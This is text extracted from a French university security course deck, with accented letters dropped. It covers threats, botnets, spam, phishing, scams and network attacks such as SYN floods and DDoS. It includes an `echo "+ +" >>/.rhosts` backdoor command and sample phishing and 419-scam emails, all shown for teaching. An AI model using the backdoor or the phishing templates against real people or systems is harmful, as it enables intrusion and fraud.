Securite

Télécharger au format pdf ou txt
Télécharger au format pdf ou txt
Vous êtes sur la page 1sur 286

Scurit

Informatique
Patrick Ducrot
[email protected]
http://www.ducrot.org/securite.pdf

Plan du document
Gnralits 3
Les menaces 37
Vulnrabilits du rseau 72
Vulnrabilits applicatives 111
Les outils d'attaque/dfense 169
Chiffrement, tunnels et vpn 222
Firewall 241
Les honeypots 257
WiFi et scurit 263
Conseils et conclusion277
15/10/2014

- ENSICAEN -

(c) dp

Gnralits

15/10/2014

- ENSICAEN -

(c) dp

Qu'est ce qu'un systme


d'information ?
Systme dinformation :
organisation des activits consistant
acqurir, stocker, transformer, diffuser, exploiter, grer
... les informations

Un des moyens techniques


pour faire fonctionner un systme dinformation est dutiliser un

Systme informatique

15/10/2014

- ENSICAEN -

(c) dp

La scurit des systmes


informatiques
Les systmes informatiques sont au cur
des systmes dinformation.
Ils sont devenus la cible de ceux qui
convoitent linformation.
Assurer la scurit de linformation implique
dassurer la scurit des systmes
informatiques.
15/10/2014

- ENSICAEN -

(c) dp

La scurit des systmes


informatiques
Erreurs de saisie
Confidentialit
Intgrit

Virus
Intgrit
Disponibilit

RESEAU

Attaques rseau
Confidentialit (coute)
Intgrit (modification paquets)
Disponibilit (saturation)

15/10/2014

Accs illicites (intrusion)


confidentialit
Intgrit
Disponibilit

- ENSICAEN -

Rayonnements
confidentialit

(c) dp

Origine des attaques

15/10/2014

- ENSICAEN -

(c) dp

Objectifs de la scurit
informatique
Quelques objectifs garantir:
intgrit
confidentialit
Disponibilit
Authentification
Non rpudiation
15/10/2014

- ENSICAEN -

(c) dp

Evolution des risques


Croissance de l'Internet
Croissance des attaques
Failles des technologies
Failles des configurations
Failles des politiques de scurit
Changement de profil des pirates
15/10/2014

- ENSICAEN -

(c) dp

Qui sont les pirates ?

Peut tre n'importe qui avec l'volution et la vulgarisation des


connaissances.

Beaucoup d'outils sont disponibles sur Internet.

Vocabulaire:
script kiddies
hacktiviste

LulzSec

hackers

15/10/2014

white hats
black hats
grey hats
cracker
carder
phreaker
- ENSICAEN -

(c) dp

10

Phnomnes techniques
Explosion de la technologie des transferts de
donnes (comme par exemple le cloud
computing )
Grande complexit des architectures de
systmes.
Ouverture (pas toujours matrise) des
rseaux de communication
15/10/2014

- ENSICAEN -

(c) dp

11

Phnomnes organisationnels
Besoin de plus en plus d'informations
Grande diversit dans la nature des
informations:
donnes financires
donnes techniques
donnes mdicales

Ces donnes constituent les biens de


l'entreprise et peuvent tre trs convoites.
15/10/2014

- ENSICAEN -

(c) dp

12

Objectifs des attaques


Dsinformer (exemple: lagence Reuters annonce la mort du
prince Saoud Al-Faycal opr des intestins le 15 aot 2012)
Empcher l'accs une ressource
Prendre le contrle d'une ressource
Rcuprer de l'information prsente sur le systme
Utiliser le systme compromis pour rebondir
Constituer un rseau de botnet (ou rseau de machines
zombies)
15/10/2014

- ENSICAEN -

(c) dp

13

Les botnets

La notion de botnet date des premiers rseaux irc (dbut des annes 1990).

Rseau de machines contrles par un bot herder ou botmaster .

Un botnet peut tre contrl par


-
-
-
-
-
-
-

Serveurs irc
Serveurs web
Requtes DNS
Messageries instantanes
Peer to Peer
Skype

15/10/2014

- ENSICAEN -

(c) dp

14

Les botnets

Estimation: une machine sur quatre fait partie dun botnet, soit environ 154 millions de machines (Vinton
Cerf Davos en janvier 2007).

Un botnet peut tre utilis pour:


Envoyer du spam
Vol dinformations sensibles (avec un keylogger par exemple).
Installer des spywares.
Paralyser un rseau en dni de services
Installer un site web malicieux (phishing)
Truquer les statistiques de sites webs (sondage en lignes authentifis par des adresses IP,
rmunration sur des clics de bannires, )

Quelques exemples:
Jeanson James Ancheta, condamn en 2006 57 mois de prison ferme et trois ans de liberts
surveilles, la tte dun botnet estim 400 000 machines.
Pirate connu sous le pseudo de 0x80 . Lire larticle:
http://www.washingtonpost.com/wp-dyn/content/article/2006/02/14/AR2006021401342.html

15/10/2014

- ENSICAEN -

(c) dp

15

Botnet irc

15/10/2014

- ENSICAEN -

(c) dp

16

Botnet p2p

15/10/2014

- ENSICAEN -

(c) dp

17

Motivations des attaques


Vol dinformations
Cupidit
Modifications dinformations

Vengeance/rancune
Politique/religion
Dfis intellectuels
15/10/2014

- ENSICAEN -

(c) dp

18

Cible des pirates


Les tats
Serveurs militaires
Banques
Universits
Tout le monde
15/10/2014

- ENSICAEN -

(c) dp

19

La scurit : une ncessit


Informaticiens

Utilisateurs

Lgislation

Logiciels

Matriel

Stratgie de scurit
Contrats

15/10/2014

Rseaux

- ENSICAEN -

(c) dp

20

Niveaux de scurisation
Sensibilisation des utilisateurs aux problmes de
scurit.
Scurisation des donnes, des applications, des
systmes d'exploitation.
Scurisation des tlcommunications.
Scurisation physiques du matriel et des accs.

15/10/2014

- ENSICAEN -

(c) dp

21

Politique de scurit
Compromis fonctionnalit - scurit.
Identifier les risques et leurs consquences.
Elaborer des rgles et des procdures mettre en uvre pour
les risques identifis.
Surveillance et veille technologique sur les vulnrabilits
dcouvertes.
Actions entreprendre et personnes contacter en cas de
dtection d'un problme.

15/10/2014

- ENSICAEN -

(c) dp

22

Mise en place d'une politique de


scurit

Mise en uvre
Audit
Tests d'intrusion
Dtection d'incidents
Ractions
Restauration

15/10/2014

- ENSICAEN -

(c) dp

23

Quelques mthodes
EBIOS (Expressions des Besoins et Identification des
Objectifs de Scurit)
http://www.ssi.gouv.fr/fr/confiance/ebios.html

MEHARI (MEthode Harmonise d'Analyse de


Risques)
http://www.clusif.asso.fr/fr/production/mehari

15/10/2014

- ENSICAEN -

(c) dp

24

La norme ISO 27000

ISO 2000 Vocabulaire et dfinitions


ISO 27001 (octobre 2005) spcifie un Systme de Gestion de la
Scurit des Systmes dInformation (Plan/Do/Check/Act))

Planifier
Mettre en uvre

Amliorer
Vrifier

ISO 27002 (remplaant la norme 17799 depuis le 1er juillet


2007) est un code de bonnes pratiques
Plus dinformations: http://www.iso27001security.com/

15/10/2014

- ENSICAEN -

(c) dp

25

La norme ISO 27000

15/10/2014

- ENSICAEN -

(c) dp

26

Application PSSI
Eviter ceci:

15/10/2014

- ENSICAEN -

(c) dp

27

Scurit des donnes et des


applications
Quelques rappels:
Qui na jamais perdu de fichiers informatiques ?
Beaucoup dentreprises ne sont pas prpares un
problme informatique majeur.
La dpendance des entreprises linformatique est de plus
en plus forte.
Les donnes ne sont pas toujours sauvegardes.
Des donnes sensibles sont vhicules sans prcaution sur
des supports amovibles (cl usb, ordinateur portable,
smartphone, ).

15/10/2014

- ENSICAEN -

(c) dp

28

PRA / PCA

Les Plans de Reprise dActivits et les Plans de Continuit dActivit


(PCA) sont composs de documents et de procdures destins
permettre le fonctionnement en cas dincident/sinistre.

Le PRA est destin reprendre lactivit, ventuellement en mode


dgrad, aprs un certain temps.

Le PCA est destin assurer la continuit du service, ventuellement


en mode dgrad.

Ramener au systme informatique, on peut aussi parler de Plan de


Secours Informatique (PSI) et de Plan de Continuit Informatique
(PCI).

15/10/2014

- ENSICAEN -

(c) dp

29

PRA / PCA

Quelques questions se poser:


Quels sont les services prioritaires ?
Quelles sont les ressources (locaux, quipement, personne) ?
Quelle est la dure maximale dinterruption admissible (Recovery
Time Objective) ?
Quelle est la perte de donnes maximale admissible (Recovery
Point Objective)?

15/10/2014

- ENSICAEN -

(c) dp

30

RTO

Le dlai dinterruption est compos:


Dlai de dtection de lincident (t1)
Dlai de dcision du passage en mode secours (t2)
Dlai de mise en uvre des procdures de secours (t3)
Dlai de contrle et relance des services et applications (t4)

t1 + t2 + t3 + t4 < RTO

La valeur du RTO impacte linfrastructure:

Pour un RTO de 24h, un contrat de maintenance sur site peut suffire


UN RTO proche de zro peut ncessiter du clustering, une salle serveur gographiquement distante,

15/10/2014

- ENSICAEN -

(c) dp

31

RPO

Le RPO quantifie les donnes que lon peut tre amen perdre suite un
incident.

Le RPO exprime une dure entre le moment de lincident et la date la plus


rcente des donnes qui pourront tre restaures.

Le RPO est conditionn par le type et la frquence des sauvegardes effectues.

Les donnes perdues pourront tre rcupres partir dune sauvegarde, dune
rplication, dun journal de transaction,

Des sauvegardes rgulires peuvent suffire dans le cas dun RPO lev. Pour
un RPO faible, des mcanismes tels que la rplication synchrone doivent tre
mis en place.

15/10/2014

- ENSICAEN -

(c) dp

32

Mthodologie

Primtre du projet
Cahier des charges (fonctions prioritaires, niveau de service, ..)
Analyse (tat de lexistant, criticit des services)
Phase dorientation (hirarchisation de la criticit des systmes,
sauvegarde des donnes critiques, )
Proposition de solutions et darchitectures
Validation
Maquettage et tests si ncessaire
Mise en uvre
Tests et recettes (toujours penser au pire, tablir la documentation et
les procdures, )

15/10/2014

- ENSICAEN -

(c) dp

33

Quelques lments de
technique
Sur les serveurs:

Redondance des alimentations lectriques


Redondance des cartes rseaux
Alimentation ondule
Serveur hot-plug permettant des changements de cartes
chaud
Contrat de maintenance
Redondance de serveurs pour la mise en grappe (cluster)

Sur les disques


Utilisation de disques RAID
15/10/2014

- ENSICAEN -

(c) dp

34

Outils pour la scurit des


systmes

La virtualisation
Quelques avantages:
Optimiser l'usage des ressources d'une machine tout en isolant les services entre
eux.
Optimisation du taux dutilisation des ressources informatiques
Economie dnergie ( green computing )
Gain conomique et dencombrement
Possibilit de cloner et/ou de dplacer des machines
Quelques risques
Une panne ou une indisponibilit dune ressource commune peut bloquer tous les
services hbergs.
En fonction de la solution virtualisation, un manque de cloisonnement peut
engendrer une fuite dinformations.
Risque de copie non souhaite de machine virtuelle

15/10/2014

- ENSICAEN -

(c) dp

35

Plan de sauvegarde

Types de sauvegardes:
Sauvegarde complte
Tout est sauvegard
Sauvegarde diffrentielle
Sauvegarde des fichiers modifis depuis la dernire sauvegarde complte. La
restauration devra rcuprer la sauvegarde complte et la dernire sauvegarde
diffrentielle.
Sauvegarde incrmentale
Sauvegarde des fichiers depuis la dernire sauvegarde. La restauration devra
rcuprer la dernire sauvegarde complte et toutes les sauvegardes
incrmentales.

Dfinir
La priodicit des sauvegardes
La dure de rtention des sauvegardes
Un lieu de stockage des sauvegardes

15/10/2014

- ENSICAEN -

(c) dp

36

Les menaces

15/10/2014

- ENSICAEN -

(c) dp

37

Techniques d'attaques
Social Engineering
MICE (Money, Ideology, Compromise, Ego)
Dumpster diving
Shoulder surfing
Sniffing
Scannings
etc.
15/10/2014

- ENSICAEN -

(c) dp

38

Exemple de social
engineering
Kevin Mitnick
3 livres, 1 film
(Cybertraque).
Piratage des rseaux
tlphoniques.
Attaque des machines
de Tsumotu Shimomura
au San Diego
Supercomputing Center.
5 ans de prison et sous
interdiction dutiliser des
ordinateurs.
15/10/2014

- ENSICAEN -

(c) dp

39

Dissimulation d'informations
L'information peut tre dissimule dans un
but de protection (mot de passe, ) ou dans
des buts moins lgaux.
Diffrentes mthodes pour s'changer de
l'information de manire sre:
chiffrement (symtrique,asymtrique)
stganographie

Tout n'est pas autoris par la loi.


15/10/2014

- ENSICAEN -

(c) dp

40

Stganographie
Procd ancien de dissimulation d'informations sensibles
parmi d'autres informations moins importantes.
Exemple: correspondance attribue George Sand et Alfred
de Musset:
Quand je mets vos pieds un ternel hommage,
Voulez-vous qu'un instant je change de visage ?
Vous avez captur les sentiments d'un coeur
Que pour vous adorer forma le crateur.
Je vous chris, amour, et ma plume en dlire
Couche sur le papier ce que je n'ose dire.
Avec soin de mes vers lisez les premiers mots,
Vous saurez quel remde apporter mes maux.

Cette indigne faveur que votre esprit rclame


Nuit mes sentiments et rpugne mon me

15/10/2014

- ENSICAEN -

(c) dp

41

Stganographie
Moyens modernes: dissimuler de linformation
dans des fichiers graphiques, sons, vidos.
Cas particulier du watermarking.

15/10/2014

- ENSICAEN -

(c) dp

42

Menaces lies aux rseaux

Menaces actives
Panne, mauvaise utilisation, pertes d'informations
Contamination (virus, vers, spyware)
Spam, phishing
Chevaux de troie (backdoors)
Dnis de services
Intrusions
Bombes logiques

Menaces passives
coute des lignes
Analyse de trafic

Source: rapport PandaLabs 2012

15/10/2014

- ENSICAEN -

(c) dp

43

Virus
Portion de code inoffensive ou destructrice capable de se
reproduire et de se propager.
Diffrents types de virus:
Virus boot
Virus dissimul dans les excutables
Macro virus
Diffrentes contaminations possibles:
change de disquettes
Pices jointes au courrier lectronique
Excutables rcuprs sur Internet
etc.
15/10/2014

- ENSICAEN -

(c) dp

44

Vers
Proches des virus mais capables de se propager sur d'autres
ordinateurs travers le rseau.
Un moyen courant de propagation: le carnet d'adresses
d'outlook (ex: "I Love you": dni de service sur les serveurs
web).
Quelques exemples:
Code Red (utilisation d'une faille des serveurs IIS et
dfiguration des sites)
Blaster (utilisation d'une faille du protocole windows DCM
RPC)
15/10/2014

- ENSICAEN -

(c) dp

45

Propagation du ver Sapphire:


http://www.caida.org/research/security/sapphire
25 janvier 2003, 05:29 0 victime

25 janvier 2003, 06:00 74 855 victimes

15/10/2014

- ENSICAEN -

(c) dp

46

Propagation du ver Waledac


Description du ver: http://www.f-secure.com/v-descs/email-worm_w32_waledac_a.shtml

http://windows7news.com/2010/02/25/operation-b49-waledac-botnet-take-down/

15/10/2014

- ENSICAEN -

(c) dp

47

Chevaux de troie
Trs rpandu (exemples: attaque du ministre de lconomie et
des finances rendu public en dcembre 2010, attaque contre
AREVA rendu public le 29 septembre 2011, infections par des
vulnrabilits dInternet Explorer en septembre 2012, )
Quelques exemples anciens de chevaux de Troie:
Back Orifice
Permet de l administration distance.
Sockets23 (Socket de Troie)
Signalait la prsence des ordinateurs infects sur des
serveurs de discussion en direct de type irc.
15/10/2014

- ENSICAEN -

(c) dp

48

Les spywares

Dfinition du spyware (http://en.wikipedia.org/wiki/Spyware):


Un spyware ("espiogiciel") est un logiciel qui collecte des informations d'une
machine et les envoie l'insu de l'utilisateur sans son consentement.

Concept invent par Microsoft en 1995.

Un spyware se dcline aujourd'hui en "adware" (logiciel d'affichage de


publicit) et en "malware" ("pourriciel", logiciels hostiles)

15/10/2014

- ENSICAEN -

(c) dp

49

Techniques d'infection des


spywares

Les logiciels lis (bundles): installation du spyware en mme temps qu'un


logiciel lgitime (KaZaA: Cydoor, codec DivX, )

La navigation sur Internet


exploitation de failles dans les navigateurs internet
Installation volontaire (par acceptation) d'un logiciel, activeX, plug-in

La messagerie incitant par SPAM visiter des sites douteux.

Une exemple particulier: 2 septembre 2008 travers le webmail de la Poste


http://www.01net.com/editorial/389835/laposte.net-a-diffuse-involontairement-une-publicite-piegee/

15/10/2014

- ENSICAEN -

(c) dp

50

Dtection de spyware
Fentres "popup" intempestive.
Page d'accueil du navigateur modifie.
Apparitions d'icnes sur le bureau.
Dsactivation des outils de scurit locaux.
Connexions rcurrentes et/ou nocturnes.
Tlchargements suspects.
Connexions vers des sites non rfrencs dans un
dns.
Connexions vers des sites .ru .cc .tw .cn

15/10/2014

- ENSICAEN -

(c) dp

51

Les "anti spywares"

En 2000, Gibson Research dveloppe le 1er progamme antispyware: OptOut


(http://grc.com/optout.htm).

Beaucoup de programmes commerciaux pour liminer les spywares qui


proposent tous un dtecteur gratuit; quelques exemples:

XoftSpy :
http://www.paretologic.com/xoftspy/lp/14/
NoAdware:
http://www.noadware.net/new3/?hop=comparets
Anonymizer's Anti-Spyware
http://www.zonelabs.com
Et bien d'autres

Quelques solutions domaine public:


Spybot
Logiciels Microsoft

15/10/2014

http://www.spybot.info/fr
http://www.microsoft.com/downloads

- ENSICAEN -

(c) dp

52

La protection contre les spywares


Pas de protection universelle puisqu'en perptuelles
volutions.
Quelques rgles respecter nanmoins:
Sensibiliser les utilisateurs sur les risques lis l'installation
de logiciels non directement utiles (barres dans les
navigateurs, codec DivX, )
Ne pas consulter des sites douteux.
Inciter les utilisateurs signaler l'infection de leur machine
par un spyware.
Utiliser des outils de protections spcifiques
15/10/2014

- ENSICAEN -

(c) dp

53

SPAM

Dfinition de la CNIL: Envoi massif et parfois rpt


de courriers lectroniques non sollicits des
personnes avec lesquelles lexpditeur na jamais eu
de contact au pralable, et dont il a capt ladresse
lectronique de faon irrgulire.(pourriel en
franais).

SPAM=Spiced Pork And Meat, popularis par un


sketch des Monty Python (
http://www.dailymotion.com/swf/x3a5yl)

Un message va tre dpos dans une liste de relais


de messagerie qui vont envoyer une copie chaque
destinataire.

Courrier bas sur une liste dadresses collectes de


manire dloyale et illicite.

Messages peu coteux lenvoi mais coteux pour


le destinataire.

15/10/2014

- ENSICAEN -

(c) dp

54

Le spam en quelques chiffres

90 % des courriers changs sont des spams

6500 nouvelles pages webs associes au spam dcouvertes chaque jour (1 page toutes les
13 secondes).

99 % du spam est relay par des machines de particuliers

1er semestre 2009: relais de spams par pays et par continent:

Source : Rapport Sophos 2009 sur les menaces de la scurit

15/10/2014

- ENSICAEN -

(c) dp

55

Protections contre le spam


ct utilisateurs

Ne rien acheter par lintermdiaire de publicit faite par un spam (des tudes
indiquent que 29% des utilisateurs le font).

Ne jamais rpondre un spam.

Ne pas mettre dadresses lectroniques sur les sites webs mais les encoder par
un script ou dans une image (exemple: http://www.caspam.org); voir transparent
suivant.

Etre prudent dans le remplissage de formulaires demandant des adresses


lectroniques; on peut parfois utiliser des adresses jetables . Exemple:
http://www.jetable.org (adresse valable dune heure un mois, certains sites
peuvent ne pas accepter ce genre dadresses).

Protection au niveau du client de messagerie (gestion des "indsirables") .

15/10/2014

- ENSICAEN -

(c) dp

56

Exemple de codage dadresse


<HTML>
Laisser un message
<a href="mailto:[email protected]"> ici </a>
</HTML>

<HTML>
Laisser un message
<script type="text/javascript">
//<![CDATA[
var d="";for(var i=0;i<359;i++)d+=String.fromCharCode(("%o!.rK00It}!6%o!.wK>IwJ@DDIw997r9Ka#!w|u<t!}
{Qvo!Q}rs660)4(:2*39R<7.9*LK`&D/-7*+aFFD4324/:/8*4;*7aF9-.8R-7*+a!K2&.1/94^KR7*j51&(*LS/
S,PFFMOw97.3,R+742g-&7g4)*LUTTPUUVMO FdF\" T\"OK*38.(b&*bb3bKR7*j51&(*LSbS,P FF\" T\"MO FRF\"
T\"Ow97.3,R+742g-&7g4)*LUTVPUYWQW]MOK!KFD4324:8*4T:9aF9-.8R-T7T*+a!K!KFTb.
(.`S&bKR7*j51&(*LSTS,P FF\" T\"MM0<qvo!Q}rsO#6w79B?73GC9A@7Is%oz6r7".charCodeAt(i)
+49)%95+32);eval(d)
//]]>
</script>
</HTML>

15/10/2014

- ENSICAEN -

(c) dp

57

Adresse jetable

15/10/2014

- ENSICAEN -

(c) dp

58

Protection contre le spam


sur les serveurs de messageries

Protection dlicate: la frontire entre un courriel et un pourriel nest pas toujours franche et il
ne faut pas rejeter des courriers rels.

Un serveur de courrier doit tre bien configur (en particulier, pas dOpen Relay ).

Gestion de listes blanches.

Gestion de listes noires:


Manuellement
Par utilisation de bases de donnes de relais ouverts (Exemple: http://
www.spamhaus.org).

Gestion de listes grises.

Dtection de serveurs zombies (postscreen/postfix)

Des outils de filtrage en aval:


spam assassin
pure message (sophos)

15/10/2014

- ENSICAEN -

(c) dp

59

Effet du grey listing (13 mars


2006)

15/10/2014

- ENSICAEN -

(c) dp

60

Phishing

Contraction de PHreaking et fISHING (Hameonnage).

Technique d'ingnierie sociale utilise par des arnaqueurs (scammers)

Technique ancienne mais utilise massivement depuis 2003.

Par le biais de courrier lectronique, messages instantans, site webs,


etc., on tente de duper l'utilisateur en le faisant cliquer sur un lien.

L'objectif est d'obtenir des adresses de cartes de crdit, des mots de


passe, etc.

Les adresses sont collectes au hasard, mais statistiquement un


utilisateur peut avoir l'impression de recevoir un courrier d'un site qui lui
est familier (banque, ).

15/10/2014

- ENSICAEN -

(c) dp

61

Exemples de cible de
phishing
Visa
eBay
Citibank
PayPal
Banques

Aujourdhui: tout le monde

15/10/2014

- ENSICAEN -

(c) dp

62

Exemple phishing
Dear valued PayPal member:
Due to concerns, for the safety and integrity of the paypal
account we have issued this warning message.
It has come to our attention that your PayPal account information needs to be
updated as part of our continuing commitment to protect your account and to
reduce the instance of fraud on our website. If you could please take 5-10 minutes
out of your online experience and update your personal records you will not run into
any future problems with the online service.
However, failure to update your records will result in account suspension.
Please update your records on or before Oct 04, 2005.
Once you have updated your account records your paypal account
service will not be interrupted and will continue as normal.
To update your PayPal records click on the following link:
http://www.paypal.com/cgi-bin/webscr?cmd=_login-run
Thank You.
PayPal UPDATE TEAM

http://209.133.49.211/icons/cgi-bin/login.html
15/10/2014

- ENSICAEN -

(c) dp

63

Faux site paypal

15/10/2014

- ENSICAEN -

(c) dp

64

Exemple phishing eBay

15/10/2014

- ENSICAEN -

(c) dp

65

Faux site eBay

15/10/2014

- ENSICAEN -

(c) dp

66

Exemple phishing CaisseEpargne (27 novembre 2009)

15/10/2014

- ENSICAEN -

(c) dp

67

Protection contre le phishing

Vrifier la pertinence des messages.

Ne pas cliquer sur un lien (mais taper l'adresse dans le


navigateur).

Etre prudent avec les formulaires demandant des


informations confidentielles.

Lors de la saisie d'informations confidentielles, vrifier que


l'information est chiffre et le certificat valide.

Certains sites commerciaux (ebay, paypal, ) rappellent le


nom d'utilisateur dans les courriers envoys. Un courrier
commenant par quelque chose ressemblant "Cher
utilisateur d'ebay" peut tre par consquent suspect.

15/10/2014

- ENSICAEN -

(c) dp

68

Le "scam"
Pratique frauduleuse d'origine africaine
("ruse") pour extorquer des fonds des
internautes.
Rception d'un courrier lectronique du
descendant d'un riche africain dcd dont il
faut transfrer les fonds.
Connue aussi sous le nom de 419 en
rfrence l'article du code pnal nigrian
rprimant ce type d'arnaque.
15/10/2014

- ENSICAEN -

(c) dp

69

Exemple de "scam"
Objet: ASSISTANCE
GEORGES TRAORE ABIDJAN,CTE D'IVOIRE. AFRIQUE DE L'OUEST.
Bonjour,
Je vous prie de bien vouloir excuser cette intrusion qui peut paratre surprenante premire vue d'autant qu'il
n'existe
aucune relation entre nous. Je voudrais avec votre accord vous prsenter ma situation et vous proposer une
affaire qui
pourrait vous intresser. Je me nomme Georges TRAORE, j'ai 22 ans et le seul fils de mon Pre Honorable
RICHARD
ANDERSON TRAORE qui tait un homme trs riche, ngociant de Caf/Cacao bas Abidjan la Capitale
Economique de la Cte d'Ivoire, empoisonn rcemment par ses associs. Aprs la mort de ma mre le 21
Octobre 2000,
mon pre m'as pris spcialement avec lui. Le 24 Dcembre 2003 est survenu le dcs de mon pre dans une
clinique
prive (LAMADONE) Abidjan. Avant sa mort, secrtement, il m'a dit qu'il a dpos une somme d'un montant
de
($8,500,000) Huit Millions Cinq Cent Mille Dollars Amricains dans une valise dans une Compagnie de Scurit
Financire en mon nom comme hritier. En outre, il m'a dit que c'est par rapport cette richesse qu'il a t
empoisonn
par ses associs. Il me recommande aussi de chercher un associ tranger qui pourrait honntement me faire
bnficier
de son assistance pour sauver ma vie et assurer mon existence. - Changement de bnficaire ;
-
Servir de gardien ;
-
- Fournir un compte pour le transfert de fonds ;
-
- M'aider le rejoindre dans son pays ;
-
- Investir dans un domaine profitable.
D'ailleurs, je vous donnerai 25 % et 5% serviront aux dpenses ventuelles qui seront effectues.
.

15/10/2014

- ENSICAEN -

(c) dp

70

Consquences des virus, vers,


spywares, spam

Perte de donnes
Perte de temps de travail
Perte dimage de marque
Perte de fonctionnalits (systme ou
email bloqus)
Perte de confidentialit
15/10/2014

- ENSICAEN -

(c) dp

71

Vulnrabilits des
rseaux
15/10/2014

- ENSICAEN -

(c) dp

72

Vulnrabilit des rseaux


Les rseaux peuvent tre vulnrables:
par une mauvaise implmentation des piles
udp/ip et tcp/ip.
par des faiblesses des protocoles

15/10/2014

- ENSICAEN -

(c) dp

73

Rappel : Entte IP
32 bits

Version IHL

Type Service
Flags

Identification
TTL

Longueur Totale

Protocole

Dcalage Fragment
Contrle entte

Adresse Source
Adresse Destination
Remplissage

Options
15/10/2014

- ENSICAEN -

(c) dp

74

Rappel: Entte UDP


32 bits

Port source
Longueur UDP

15/10/2014

- ENSICAEN -

Port destination
Total de contrle UDP

(c) dp

75

Rappel: Entte TCP


32 bits

Port source

Port destination
Numro de squence

Numro d'acquittement
Long
entte
TCP

U A P R
R C S S
G K H T

Total de contrle

S F
Y I
N N

Taille de la fentre

Pointeur d'urgence

Options (0, 1 ou plusieurs mots de 32 bits


Donnes (optionnelles)

15/10/2014

- ENSICAEN -

(c) dp

76

Rappel: tablissement d'une


connexion TCP
Connexion en 3 temps (Three Way
Handshake).

15/10/2014

- ENSICAEN -

(c) dp

77

Sniffer
Outil de base indispensable.
Permet de visualiser les trames sur un
segment de rseau.
Ncessite des droits administrateurs.
Attention au problme juridique
Utilise des sockets en mode promiscuous
socket (AF_INET,SOCK_RAW,IPPROTO_RAW)

15/10/2014

- ENSICAEN -

(c) dp

78

Sniffer
Beaucoup de logiciels sniffers existants.
Liste sur http://packetstormsecurity.org/
sniffers
Le sniffer de base pour unix: tcpdump
Disponible sur http://www.tcpdump.org.
Grammaire trs volue.
Affiche les enttes de paquets rpondant au
critre spcifi.
15/10/2014

- ENSICAEN -

(c) dp

79

Sniffer multiplateformes
wireshark (http://www.wireshark.org)

Interprtation de
plusieurs centaines
de protocoles
applicatifs

15/10/2014

- ENSICAEN -

(c) dp

80

sniffer plus "spcialis": Cain &


Abel

15/10/2014

- ENSICAEN -

(c) dp

81

IP Spoofing
Mthode d'attaque qui parodie l'adresse IP d'un
autre ordinateur (usurpation).
Permet de brouiller les pistes ou d'obtenir un
accs des systmes sur lesquels
l'authentification est fonde sur l'adresse IP
(rlogin, rsh sur les machines numro de
squence TCP prvisible).

15/10/2014

- ENSICAEN -

(c) dp

82

Usurpation d'identit

Exemple d'utilisation: attaque d'un remote


shell: echo "+ +" >>/.rhosts
15/10/2014

- ENSICAEN -

(c) dp

83

Exemples danciennes
attaques sur la pile IP
Malversations sur la fragmentation IP
Scinder une demande de connexion sur 2 fragments
Faire chevaucher 2 fragments IP (teardrop)
Adresses IP source et destinations identiques (land)
Ping de la mort (Ping Death,
http://www.insecure.org/sploits/ping-o-death.html)
UDP Flood

15/10/2014

- ENSICAEN -

(c) dp

84

15/10/2014

- ENSICAEN -

(c) dp

85

Exemple: Juin 2013

15/10/2014

- ENSICAEN -

(c) dp

86

Dni de service (DOS)


Denial Of Service
Attaque destine empcher l utilisation d une
machine ou d un service.
Type d'attaque utilise par frustration, par rancune,
par ncessit,
Souvent plus facile de paralyser un rseau que d'en
obtenir un accs.
Ce type d attaque peut engendrer des pertes trs
importantes pour une entreprise.
Attaque relativement simple mettre en uvre (outils
faciles a trouver).
15/10/2014

- ENSICAEN -

(c) dp

87

Diffrents types de DOS


DOS local (puisement des ressources)
Saturation de l'espace disque
rpertoires rcursifs
boucle infinie de fork ()

DOS par le rseau (consommation de bande passante)
SYN flood
Rassemblage de fragments (Ex: teardrop, ping of the
death)
Flags TCP illgaux
DOS distribu (DDOS)
15/10/2014

- ENSICAEN -

(c) dp

88

DOS par SYN flood


Attaque par inondation de SYN avec une
adresse source usurpe (spoofe) et
inaccessible.
La machine cible doit grer une liste de
connexions dans l tat SYN_RECV .
Une attaque est visible si la commande
netstat an indique un grand nombre de
connexions dans l'tat SYN_RECV.
15/10/2014

- ENSICAEN -

(c) dp

89

Parades au SYN Flood


Allongement de la longueur de la file
d'attente.
Rduction de la dure de temporisation
d'tablissement d'une connexion.
OS modernes sont protgs (SYN Cookie,
SYN cache, ).
15/10/2014

- ENSICAEN -

(c) dp

90

DDoS

Distributed Denial Of Service.

Type d attaque trs en vogue.

L objectif est d crouler une machine et/ou saturer la bande passante de la


victime.

Ncessite un grand nombre de machines corrompues.

Attaque popularise le 14 fvrier 2000 sur quelques sites .com renomms


(ebay, cnn, amazon, microsoft, ). Le coupable, Michael Calce alias Mafiaboy
, 15 ans, est arrt au Canada le 15 avril et condamn 8 mois dans un centre
de dtention pour jeunes. Il a caus des pertes estimes 1,7 milliards de
dollars.
http://www.youtube.com/watch?v=NPT-NIMoEgo (partie 1)
http://www.youtube.com/watch?v=hVrU_3xX5ic (partie 2)

15/10/2014

- ENSICAEN -

(c) dp

91

Scnario d un DDoS

15/10/2014

- ENSICAEN -

(c) dp

92

Quelques exemples de DDoS

Tribe Flood Network (TFN)


Trinoo
TFN2K
Trinity (utilise les serveurs irc)
etc.
Parades:
tre attentif aux ports ouverts

15/10/2014

- ENSICAEN -

(c) dp

93

Utilisation des DDoS


Un botnet de 1000 machines peut saturer la bande
passante dune grande entreprise (1000 * 128Kb/s =
128 Mb/s).
Une entreprise peut acheter les services dun bot
herders pour attaquer un concurrent.
Ddos extortion : des pirates peuvent menacer des
sites de commerce en ligne (Exemple: la socit
Canbet en Angleterre).
15/10/2014

- ENSICAEN -

(c) dp

94

Exemples DDoS

Serveurs DNS de la compagnie Akamai attaqu le 16 juin 2004 (sites Microsoft, Google,
Yahoo, fedEx, Xerox, Apple injoignables pendant une courte priode).

Mastercard, PayPal, EveryDNS, Swiss Bank PostFinances en dcembre 2010 par les
Anonymous

NBS victime dune attaque DDOS dans la nuit du 10 au 11 octobre 2011


http://www.loichelias.com/nbs-attaque-ddos

15/10/2014

- ENSICAEN -

(c) dp

95

Exemples DDOS

Bande passante du rseau informatique du snat les 25 et 26 dcembre 2011


avant ladoption de la loi rprimant la contestation des gnocides*

Et tant dautres.

* Source: rapport No 681 du snat par Jean-Marie Bockel


15/10/2014

- ENSICAEN -

(c) dp

96

Amplitude des attaques DDoS

Source: the Hacker News, octobre 2013

15/10/2014

- ENSICAEN -

(c) dp

97

Exemple: Attaque sur CloudFlare

Attaque ADRDOS (Amplified Distributed Reflective Denial Of Service)

Fvrier 2014: attaque via les serveurs NTP (UDP/123) a atteint une
amplitude de 400 Gbps.

4529 Serveurs NTP impliqus

1298 rseaux diffrents

Taux damplification > 200 pour un serveur NTP trs actif.

Source: http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack

15/10/2014

- ENSICAEN -

